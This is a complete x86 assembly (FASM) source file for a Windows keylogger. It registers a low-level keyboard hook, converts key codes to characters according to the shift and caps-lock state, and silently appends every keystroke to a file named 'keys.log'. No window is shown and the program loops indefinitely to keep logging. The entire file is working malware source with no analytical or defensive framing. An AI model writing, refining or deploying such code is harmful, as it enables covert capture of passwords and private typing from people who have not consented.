format PE GUI entry start include 'win32a.inc' section '.text' code readable executable start: push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS ; Creates a file if it doesn't exist push NULL push FILE_SHARE_READ ; Allow other processes to read push 0004h ; FILE_APPEND_DATA push _file_name call [CreateFile] mov [hFile], eax push NULL call [GetModuleHandle] push 0 push eax push LowLevelKeyboardHook push WH_KEYBOARD_LL call [SetWindowsHookEx] ; Try to keep the program running with an infinite loop @@: push 0 push 0 push NULL push buffer call [GetMessage] jmp @b proc LowLevelKeyboardHook nCode, wParam, lParam push ebx push esi push edi cmp [wParam], WM_KEYDOWN jne callnexthookex ; Translate the virtual-key code to something readable mov esi, [lParam] ; Move the KBDLLHOOKSTRUCT to esi mov esi, [esi] ; Move the vkCode to esi cmp esi, 09h jb callnexthookex ; Below the smallest vkCode allowed cmp esi, 0DEh ja callnexthookex ; Above the largest vkCode allowed push VK_SHIFT call [GetKeyState] test eax, 00010000h setnz bl ; Sets if shift key is down push VK_CAPITAL call [GetKeyState] test eax, 1 setnz cl ; Sets if caps lock key is on test bl, cl jnz shift_capital ; Shift key is down and caps lock key is on test bl, bl jnz shift ; Shift key is down test cl, cl jnz capital ; Caps lock key is on ; Not using shift or caps lock character: add esi, _chars - 9 ; Make esi point to the character jmp writefile shift_capital: ; Use a character from shift but not if the vkCode is alphabetic cmp esi, 41h jb shift ; Below A key cmp esi, 5Ah ja shift ; Above Z key jmp character capital: ; Use a character from shift if the vkCode is alphabetic cmp esi, 41h jb character ; Below A key cmp esi, 5Ah ja character ; Above Z key shift: add esi, _shift_chars - 9 writefile: ; Check if the character is null mov al, [esi] test al, al jz callnexthookex ; Write the character push NULL push buffer push 1 push esi push [hFile] call [WriteFile] ; Call CallNextHookEx to keep the keyboard responsive callnexthookex: push [lParam] push [wParam] push [nCode] push NULL call [CallNextHookEx] pop edi pop esi pop ebx ret endp section '.rdata' data readable _file_name db 'keys.log', 0 ; For translating virtual-key codes _chars: db 09h rb 3 db 0Ah rb 18 db ' ' rb 15 db '0123456789' rb 7 db 'abcdefghijklmnopqrstuvwxyz' rb 5 db '0123456789*+', 0Ah, '-./' rb 74 db ';=,-./`' rb 26 db '[\]', "'" _shift_chars: db 09h rb 3 db 0Ah rb 18 db ' ' rb 15 db ')!@#$%^&*(' rb 7 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' rb 5 db '0123456789*+', 0Ah, '-./' rb 74 db ':+<_>?~' rb 26 db '{|}"' section '.bss' readable writeable hFile dd ? ; Handle to the file buffer rb 20 ; Placeholder for GetMessage and WriteFile section '.idata' import data readable writeable dd 0, 0, 0, rva kernel_name, rva kernel_table dd 0, 0, 0, rva user_name, rva user_table dd 0, 0, 0, 0, 0 kernel_name db 'kernel32.dll', 0 user_name db 'user32.dll', 0 kernel_table: CreateFile dd rva _CreateFileA GetModuleHandle dd rva _GetModuleHandleA WriteFile dd rva _WriteFile dd 0 user_table: CallNextHookEx dd rva _CallNextHookEx GetKeyState dd rva _GetKeyState GetMessage dd rva _GetMessageA SetWindowsHookEx dd rva _SetWindowsHookExA TranslateMessage dd rva _TranslateMessage dd 0 ; kernel32.dll _CreateFileA db 0, 0, 'CreateFileA', 0 _GetModuleHandleA db 0, 0, 'GetModuleHandleA', 0 _WriteFile db 0, 0, 'WriteFile', 0 ; user32.dll _CallNextHookEx db 0, 0, 'CallNextHookEx', 0 _GetKeyState db 0, 0, 'GetKeyState', 0 _GetMessageA db 0, 0, 'GetMessageA', 0 _SetWindowsHookExA db 0, 0, 'SetWindowsHookExA', 0 _TranslateMessage db 0, 0, 'TranslateMessage', 0